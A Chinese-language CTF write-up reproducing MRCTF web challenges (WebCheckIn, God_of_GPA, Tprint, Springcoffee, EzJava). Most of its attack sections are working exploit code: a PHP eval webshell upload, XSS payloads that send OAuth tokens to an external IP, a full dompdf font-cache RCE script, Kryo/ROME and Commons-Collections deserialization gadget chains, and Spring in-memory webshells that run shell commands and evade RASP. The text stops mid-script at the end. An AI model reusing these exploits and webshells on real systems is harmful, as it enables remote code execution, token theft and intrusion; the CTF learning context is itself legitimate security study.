mrctf(复现)

mrctf

坐大牢,大佬们都没空,所以我就看看题就润了(毕竟太菜了)。
参考了wm的wp:https://blog.wm-team.cn/index.php/archives/18/以及出题师傅的wp

WebCheckIn

太菜了,看了半小时不知道咋写,直接开摆了。赛后复现了一波。不知道为啥php一直上传不了,其他文件上传了也没反应,然后直接不会了。赛后看了一眼wp:只能传php。人直接麻了,然后随便写了好几个php终于出现上传成功的路径了。然后又尝试了挺久,发现它似乎只有你的php文件报错,执行不了才能成功上传。然后直接用内置的Error类,假装报错。echo一次不行,那么再来一次,行了,起飞:

-----------------------------102487390811999988941441483611
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/plain

<?=$a=new Error(1);echo $a;echo $a;
eval($_POST[1])?>
-----------------------------102487390811999988941441483611--

然后flag不在根目录,用蚁剑反弹个shell。最终找到flag:

grep -r 'MRCTF{' / 2>/dev/null

God_of_GPA

赛后不知道是不是bot坏了,抄了一手exp打不通。先抄个预期解。
随便写个垃圾,可以在康康那里看到奇怪的前端代码:

<script>
    let Img =  window.MyImg || {src: 'https://md.buptmerak.cn/uploads/upload_d12a3804a813ffb14fe38a318d6bfcf1.png'}
    let Container = document.createElement("div");
    Container.innerHTML = '<img class="avatar" src="' + Img.src + '">';
    document.body.appendChild(Container);
  </script>

确实够奇怪,但是也确实不会利用,按照wp里面提到的文章:https://xz.aliyun.com/t/7329


发现可以用a标签来进行xss,学到了。知道原理了(个p),那直接抄一手wp:(个人喜欢抄wm的)

<div id="scrip">
console.log("injected");
let uri = window.location.href + "";
if (uri.indexOf('token') > -1){
    location.href="http://47.96.173.116:2333/flag?f="+encodeURIComponent(uri)
}else{
    location.href="http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri="+window.location.href
}
</div>
<img src='data:,"onerror="eval(scrip.innerText)' id="MyImg" />

然后我这搞不成,自己点开文章显示重定向不匹配,然后我就抄了一手wp里面的非预期:

<div id="scrip">
console.log("injected");
let uri = window.location.href + "";
if (uri.indexOf('token') > -1){
    location.href="http://47.96.173.116:2333/flag?f="+encodeURIComponent(uri)
}else{
    location.href=`http://brtserver.node2.buptmerak.cn/oauth/authorize?redirect_uri=http://brtclient.node2.buptmerak.cn/";window.location="http://47.96.173.116:2333/`
}
</div>
<img src='data:,"onerror="eval(scrip.innerText)' id="MyImg" />

然后当然也没复现成功,但是如果自己点进去,确实服务器收到了token,所以就当成功算了(懒)。确实怀疑bot已经神志不清了。

Tprint

比较神奇的题目。首先读一手log我是没想到的(毕竟thinkphp 6.0.12):

/runtime/log/202204/23.log

然后可以看到里面有个admin控制器。然后就是后台的文件上传。居然考得是1day。根据github上的poc:https://github.com/positive-security/dompdf-rce
以及复现的文章:https://ghostasky.github.io/2022/03/19/dompdf%200day(RCE)%E5%A4%8D%E7%8E%B0/
可以有大致的思路。可惜靶机不能出网,所以才给的文件上传入口。如果直接用github上那个exploit_font.php是打不通的(不知道为啥),然后我自己随便找了个可以在线生成字体的网站:https://font.qqe2.com/
随便生成一个新字体,然后直接导出ttf文件,然后往里面加入木马:


改为php后缀文件,上传。得到路径。编辑恶意的css文件:

@font-face {
    font-family:'exploitfont';
    src:url('http://localhost:81/路径');
    font-weight:'normal';
    font-style:'normal';
  }

上传之后,得到路径。上传恶意的html:

<link rel=stylesheet href='http://localhost:81{css_location}'><span style="font-family:{font_name};">5678</span>

得到html的路径。然后回到主页的打印功能,把该html打印出来,然后就会在服务器上生成php后门,根据thinkphp的字体路径,还有dompdf的字体文件的命名方法可以得到后门路径。贴一个出题者的exp:

import requests
from hashlib import md5

url = "http://5e605a8c-473e-4fe7-a1b0-e296f5ab844b.node1.mrctf.fun:81"
font_name = "eki"

def print2pdf(page):
    param= {
        "s": "Printer/print",
        "page": page
    }
    res = requests.get(f"{url}/public/index.php", params=param)
    return res

def upload(filename, raw):
    data = {
        "name":"avatar",
        "type":"image",
    }
    res = requests.post(f"{url}/public/index.php?s=admin/upload", data=data, files={"file": (filename, raw, "image/png")})
    return res.json()["result"]

exp_font = "/tmp/fonteditor.ttf"
php_location = upload("exp.php",open(exp_font,"rb").read())
print(f"php_location=>{php_location}")

exp_css = f"""
@font-face{{
    font-family:'{font_name}';
    src:url('http://localhost:81{php_location}');
    font-weight:'normal';
    font-style:'normal';
}}
"""
css_location = upload("exp.css",exp_css)
print(f"css_location=>{css_location}")

html = f"""
<link rel=stylesheet href='http://localhost:81{css_location}'><span style="font-family:{font_name};">5678</span>
"""
html_location = upload("exp.html",html)
print(f"html_location=>{html_location}")

p = html_location
print(p)

res = print2pdf(p)
md5helper = md5()
md5helper.update(f"http://localhost:81{php_location}".encode())
remote_path = f"/vendor/dompdf/dompdf/lib/fonts/{font_name}-normal_{md5helper.hexdigest()}.php"
print(f"remote_path=>{remote_path}")

res = requests.get(url+remote_path)
print(res.text)

Springcoffee

y4大佬把那两道java题写的很好,所以我也不细说了,讲讲踩到的坑。可以去看:https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#%E6%80%BB%E7%BB%93
由于确实能力有限,又遇到周末开摆,拖了很久才把这题复现了,挺有意思的。
很明显的饭序列化,但是没见过kryo。除此之外似乎都是老套路了,经典虎符杯的rome1.7二次反序列化。先是传参:

public Message order(@RequestBody CoffeeRequest coffee) {
        if (coffee.extraFlavor != null) {
            ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor));

这种传参方式还好之前看了springboot的新cve,所以传extraFlavor就行,具体可以去看看那个cve的解释。然后似乎没啥了,序列化就内个嗯抄源码:

 ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
        this.kryo.register(Mocha.class);
        this.kryo.writeClassAndObject(output, new Mocha());
        output.flush();
        output.close();

然后就开始内个复制粘贴虎符杯的链子。然后会发现没有注册类。神奇的kryo,然后按照y4神的wp,可以发现报错的位置:

if (registration == null) {
                    if (this.registrationRequired) {
                        throw new IllegalArgumentException(this.unregisteredClassMessage(type));
                    }

                    if (Log.WARN && this.warnUnregisteredClasses) {
                        Log.warn(this.unregisteredClassMessage(type));
                    }

                    registration = this.classResolver.registerImplicit(type);
                }

手动设置为registrationRequired=false。刚好/coffee/demo路由明显可以调用kryo里面所有的set方法。手动调好之后,发现不能创建类。kryo真滴烦。同样可以在源码里面找到:

try {
                    final ConstructorAccess access = ConstructorAccess.get(type);
                    return new ObjectInstantiator() {
                        public Object newInstance() {
                            try {
                                return access.newInstance();
                            } catch (Exception var2) {
                                throw new KryoException("Error constructing instance of class: " + Util.className(type), var2);
                            }
                        }
                    };
                } catch (Exception var7) {
                }

没有无参构造方法可以调用报错。然后wp里面说可以用StdInstantiatorStrategy,说实话,这应该得一个个试,毕竟没几个Strategy。同样可以用kryo的set方法修改默认的Strategy,然后就ojbk了。直接内个抄虎符杯:

package fun.mrctf.springcoffee;

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import org.apache.commons.io.FileUtils;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.*;

import java.io.*;
import java.lang.reflect.Field;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.objenesis.strategy.StdInstantiatorStrategy;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.security.*;
import java.util.HashMap;

import javax.xml.transform.Templates;
import java.util.Base64;

public class Exp {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Exp.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Exp.setFieldValue(s, "table", tbl);
        return s;
    }

    public static void main(String[] args) throws Exception {
        String code = "{printName();}";
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(test.class.getName());
        clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
        clazz.makeClassInitializer().insertBefore(code);
        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
        File classFilePath = new File(new File(System.getProperty("user.dir"), ""), "test.class");
        FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", bytecodes);
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ObjectBean delegate = new ObjectBean(Templates.class, obj);
        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

        HashMap<Object, Object> hashmap = makeMap(root,root);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(hashmap, privateKey, signature);

        ToStringBean item = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean root1 = new EqualsBean(ToStringBean.class, item);

        HashMap<Object, Object> hashmap1 = makeMap(root1,root1);

//        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        Output output = new Output(bos);
//        kryo.register(hashmap1.class);
        kryo.writeClassAndObject(output, hashmap1);
        output.flush();
        output.close();
        System.out.println(new String(Base64.getEncoder().encode(bos.toByteArray())));
        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
//        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
//        hessian2Output.writeObject(hashmap1);
//        hessian2Output.flushBuffer();

//        byte[] bytes = byteArrayOutputStream.toByteArray();
//        System.out.println(new String(Base64.getEncoder().encode(bytes)));
//        InputStream in = new ByteArrayInputStream(bytes);
//        Hessian2Input input = new Hessian2Input(in);
//        input.readObject();

//        try {
//            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
//            Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
//            System.out.println(hessian2Input.readObject());
//        } catch (Exception e) {
//            System.out.println(e);
//        }

    }
}

靶机不出网,经典内存马。但是会发现运行不了,估计存在rasp。需要上传一个文件读取的东西,将内存马改一下就能用了。先是test.class,修改里面的base64和类名即可:

package fun.mrctf.springcoffee;

import org.springframework.util.Base64Utils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class test {
    public static void printName() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException {
        String className = "fun.mrctf.springcoffee.controller.FileController";
        byte[] bytes = Base64Utils.decodeFromString("yv66vgAAADQAdgoAFQBECABFCwBGAEcHAEgKAAQASQoABABKBwBLCgAHAEwHAE0KAAkATgcATwoACwBECgAJAFAKAAsAUQoACwBSCgALAFMLAFQAVQoAVgBXCgBYAFkHAFoHAFsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAMkxmdW4vbXJjdGYvc3ByaW5nY29mZmVlL2NvbnRyb2xsZXIvRmlsZUNvbnRyb2xsZXI7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAA3VybAEADkxqYXZhL25ldC9VUkw7AQACaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEY29kZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBaBwBcBwBdBwBeBwAyBwBIBwBfBwBLBwBNBwBPBwBgAQAKRXhjZXB0aW9ucwcAYQEAEE1ldGhvZFBhcmFtZXRlcnMBAApTb3VyY2VGaWxlAQATRmlsZUNvbnRyb2xsZXIuamF2YQwAFgAXAQAEZmlsZQcAXAwAYgBjAQAMamF2YS9uZXQvVVJMDAAWAGQMAGUAZgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMABYAZwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIMABYAaAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABpAGoMAGsAbAwAawBtDABuAGoHAF0MAG8AcAcAYAwAcQByBwBzDAB0AHUBADBmdW4vbXJjdGYvc3ByaW5nY29mZmVlL2NvbnRyb2xsZXIvRmlsZUNvbnRyb2xsZXIBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABJnZXRQYXJhbWV0ZXJWYWx1ZXMBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAHChDKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBAAhnZXRCeXRlcwEABCgpW0IBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWACEAFAAVAAAAAAACAAEAFgAXAAEAGAAAAC8AAQABAAAABSq3AAGxAAAAAgAZAAAABgABAAAADAAaAAAADAABAAAABQAbABwAAAABAB0AHgADABgAAAF8AAQACwAAAH0rEgK5AAMCADoEGQTGAG+7AARZGQQDMrcABToFGQW2AAY6BrsAB1kZBrcACDoHuwAJWRkHtwAKOgi7AAtZtwAMOgkZCLYADVk6CsYAIBkJuwALWbcADBkKtgAOEAq2AA+2ABC2AA5Xp//bLLkAEQEAGQm2ABC2ABK2ABMDrAAAAAMAGQAAAC4ACwAAAA4ACgAPAA8AEAAcABEAIwASAC4AEwA5ABQAQgAWAE0AFwBqABkAewAbABoAAABwAAsAHABfAB8AIAAFACMAWAAhACIABgAuAE0AIwAkAAcAOQBCACUAJgAIAEIAOQAnACgACQBKADEAKQAqAAoAAAB9ABsAHAAAAAAAfQArACwAAQAAAH0ALQAuAAIAAAB9AC8AMAADAAoAcwAxADIABAAzAAAAQwAD/wBCAAoHADQHADUHADYHADcHADgHADkHADoHADsHADwHAD0AAPwAJwcAPv8AEAAFBwA0BwA1BwA2BwA3BwA4AAAAPwAAAAQAAQBAAEEAAAANAwArAAAALQAAAC8AAAABAEIAAAACAEM=");
        //控制器的bytecode
        ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        method.invoke(classLoader, className, bytes, 0, bytes.length);
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
        adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
    }
}

然后FileController的代码:

package fun.mrctf.springcoffee.controller;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;

public class FileController extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String[] code = request.getParameterValues("file");
        if (code != null) {
            URL url = new URL(code[0]);
            InputStream is = url.openStream();
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null){
                stringBuilder.append(line + '\n');
            }
            response.getOutputStream().write(stringBuilder.toString().getBytes());
        }
        return false;
    }
}

然后输入file=file://即可读取文件。可以发现rasp,而且还有/readflag。没想到需要UNIXProcess进行绕过。而且搞了两天才终于能跑。wp里面没细锁,自己琢磨不透,google好不容易找了一个,直接内个照抄:

package fun.mrctf.springcoffee.controller;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class CmdController  extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String[] code = request.getParameterValues("code");
        if (code != null) {
            Class<?> cls = Class.forName("java.lang.UNIXProcess");

            Constructor<?> constructor = cls.getDeclaredConstructors()[0];
            constructor.setAccessible(true);

            String[] cmd = {"/bin/sh", "-c", code[0]};

            byte[] prog = toCString(cmd[0]);
            byte[] argBlock = getArgBlock(cmd);
            int argc = argBlock.length;
            int[] fds = {-1, -1, -1};

            Object obj = constructor.newInstance(prog, argBlock, argc, null, 0, null, fds, false);

            Method method = cls.getDeclaredMethod("getInputStream");
            method.setAccessible(true);

            InputStream is = (InputStream) method.invoke(obj);
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null){
                stringBuilder.append(line + '\n');
            }
            response.getOutputStream().write(stringBuilder.toString().getBytes());
        }
        return false;
    }

    private static byte[] toCString(String str) {
        byte[] bytes  = str.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }

    private static byte[] getArgBlock(String[] cmdarray){
        byte[][] args = new byte[cmdarray.length-1][];
        int size = args.length;
        for (int i = 0; i < args.length; i++) {
            args[i] = cmdarray[i+1].getBytes();
            size += args[i].length;
        }
        byte[] argBlock = new byte[size];
        int i = 0;
        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
        }
        return argBlock;
    }
}

然后直接一波/readflag,没反应。惨得一。原来是tm的计算题,如果不输入直接内个浏览器一直等。以后可以用echo测试是不是交互题echo 1 | /readflag。然后又要写perl脚本进行交互,讲道理网上没找到,直接抄wp的:

use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = substr($r,0,-3);
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";

然后base64一下,命令执行:

echo dXNlIHN0cmljdDsKdXNlIElQQzo6T3BlbjM7CgpteSAkcGlkID0gb3BlbjMoIFwqQ0hMRF9JTiwgXCpDSExEX09VVCwgXCpDSExEX0VSUiwgJy9yZWFkZmxhZycgKSBvciBkaWUgIm9wZW4zKCkgZmFpbGVkISI7CgpteSAkcjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOwokciA9IDxDSExEX09VVD47CnByaW50ICIkciI7CiRyID0gc3Vic3RyKCRyLDAsLTMpOwokciA9IGV2YWwgIiRyIjsKcHJpbnQgIiRyXG4iOwpwcmludCBDSExEX0lOICIkclxuIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOw==|base64 -d>/tmp/1.pl

然后在perl /tmp/1.pl即可拿到flag。这道题真是不容易啊

EzJava

同样,大佬分析的很好了,就不细说。我是根据CC3来改得。http://w4nder.top/index.php/2021/03/07/commons-collections-gadgets/
需要绕过黑名单。所以得找别的链子。根据原来的比较,加了黑名单之后,会在LazyMap这里的get断掉:

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

因为ChainedTransformer被ban了,所以不能往下进行,需要找另一个来代替。然后wp里面找到了FactoryTransformer:

public Object transform(Object input) {
        return iFactory.create();
    }

这里可以调用Factory子类的create。然后就找到了InstantiateFactory:

public Object create() {
        // needed for post-serialization
        if (iConstructor == null) {
            findConstructor();
        }

        try {
            return iConstructor.newInstance(iArgs);

        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateFactory: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateFactory: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateFactory: Constructor threw an exception", ex);
        }
    }

这里可以创建一个对象,然后根据CC3,可以用TrAXFilter来创建TemplatesImpl进而加载恶意字节码。所以直接整好:exp

package com.example.easyjava;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;

public class Exp {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{printName();}";
        ctClass.makeClassInitializer().insertAfter(code);
        byte[] bytes = ctClass.toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(TrAXFilter.class),
//                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
//        };
        InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap,factoryTransformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey");
        Map expMap = makeMap(tme, "keykey");
//        HashSet hashSet = new HashSet(1);
//        hashSet.add(tme);
//        outerMap.remove("keykey");
//        setField(transformerChain,"iTransformers",transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Exp.setField(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Exp.setField(s, "table", tbl);
        return s;
    }
}

一开始直接网hashMap put链子,疯狂打自己,后来才想起来之前的rome似乎不是这么弄到里面的,就把之前的makeMap抄了一手。同样是内存马,经典不出网。test.class和上面那个一样,改改类名和base64就行。控制器的代码:

package com.example.easyjava.controller;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class CmdController  extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }
}

然后经典只需要传body,为了防止url编码,写个python传即可:

import requests

url = "http://127.0.0.1:8089/hello"
